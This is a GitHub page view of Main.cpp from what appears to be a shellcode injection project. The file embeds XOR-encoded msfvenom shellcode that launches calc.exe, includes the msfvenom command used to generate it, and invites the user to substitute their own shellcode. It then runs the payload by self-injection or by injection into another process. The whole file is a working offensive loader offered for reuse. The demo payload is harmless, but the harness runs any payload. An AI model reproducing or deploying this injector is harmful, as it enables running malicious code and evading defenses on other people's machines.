-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathMain.cpp
More file actions
65 lines (55 loc) · 2.53 KB
/
Copy pathMain.cpp
File metadata and controls
65 lines (55 loc) · 2.53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <iostream>
#include "ShellcodeExecution/ShellcodeSelfInjector.h"
#include "ShellcodeExecution/ShellcodeProcessInjector.h"
int main()
{
using namespace ShellcodeExecution;
// shellcode generated with msfvenom. Starts calc.exe
// msfvenom -p windows/x64/exec CMD="calc.exe" -f c -v shellcode -e x64/xor EXITFUNC=thread
// You can replace it with your own shellcode
unsigned char shellcode[] =
"\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\x4b\x61\x22\x5d\x4b\x2c\x26\x3d\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb7\x29\xa1"
"\xb9\xbb\xc4\xe6\x3d\x4b\x61\x63\x0c\x0a\x7c\x74\x6c\x1d"
"\x29\x13\x8f\x2e\x64\xad\x6f\x2b\x29\xa9\x0f\x53\x64\xad"
"\x6f\x6b\x29\xa9\x2f\x1b\x64\x29\x8a\x01\x2b\x6f\x6c\x82"
"\x64\x17\xfd\xe7\x5d\x43\x21\x49\x00\x06\x7c\x8a\xa8\x2f"
"\x1c\x4a\xed\xc4\xd0\x19\x20\x73\x15\xc0\x7e\x06\xb6\x09"
"\x5d\x6a\x5c\x9b\xa7\xa6\xb5\x4b\x61\x22\x15\xce\xec\x52"
"\x5a\x03\x60\xf2\x0d\xc0\x64\x3e\x79\xc0\x21\x02\x14\x4a"
"\xfc\xc5\x6b\x03\x9e\xeb\x1c\xc0\x18\xae\x75\x4a\xb7\x6f"
"\x6c\x82\x64\x17\xfd\xe7\x20\xe3\x94\x46\x6d\x27\xfc\x73"
"\x81\x57\xac\x07\x2f\x6a\x19\x43\x24\x1b\x8c\x3e\xf4\x7e"
"\x79\xc0\x21\x06\x14\x4a\xfc\x40\x7c\xc0\x6d\x6a\x19\xc0"
"\x6c\x3a\x74\x4a\xb1\x63\xd6\x4f\xa4\x6e\x3c\x9b\x20\x7a"
"\x1c\x13\x72\x7f\x67\x0a\x39\x63\x04\x0a\x76\x6e\xbe\xa7"
"\x41\x63\x0f\xb4\xcc\x7e\x7c\x12\x3b\x6a\xd6\x59\xc5\x71"
"\xc2\xb4\x9e\x7f\x15\xf1\x2d\x26\x3d\x4b\x61\x22\x5d\x4b"
"\x64\xab\xb0\x4a\x60\x22\x5d\x0a\x96\x17\xb6\x24\xe6\xdd"
"\x88\xf0\xcc\x3b\x17\x41\x20\x98\xfb\xde\x91\xbb\xc2\x9e"
"\x29\xa1\x99\x63\x10\x20\x41\x41\xe1\xd9\xbd\x3e\x29\x9d"
"\x7a\x58\x13\x4d\x37\x4b\x75\x67\xb4\x91\x9e\xf7\x3e\x2a"
"\x40\x45\x13\x2e\x19\x47\x5d\x4b\x2c\x26\x3d";
ShellcodeExecutor* shellExec;
std::cout << "Options:" << std::endl;
std::cout << "1. Self injection" << std::endl;
std::cout << "2. Process injection" << std::endl;
std::cout << "> ";
int choice;
std::cin >> choice;
switch (choice)
{
case 1:
shellExec = new ShellcodeSelfInjector(shellcode, sizeof(shellcode));
break;
case 2:
shellExec = new ShellcodeProcessInjector(shellcode, sizeof(shellcode));
break;
default:
std::cout << "Unknown option" << std::endl;
return 1;
}
shellExec->Execute();
delete shellExec;
}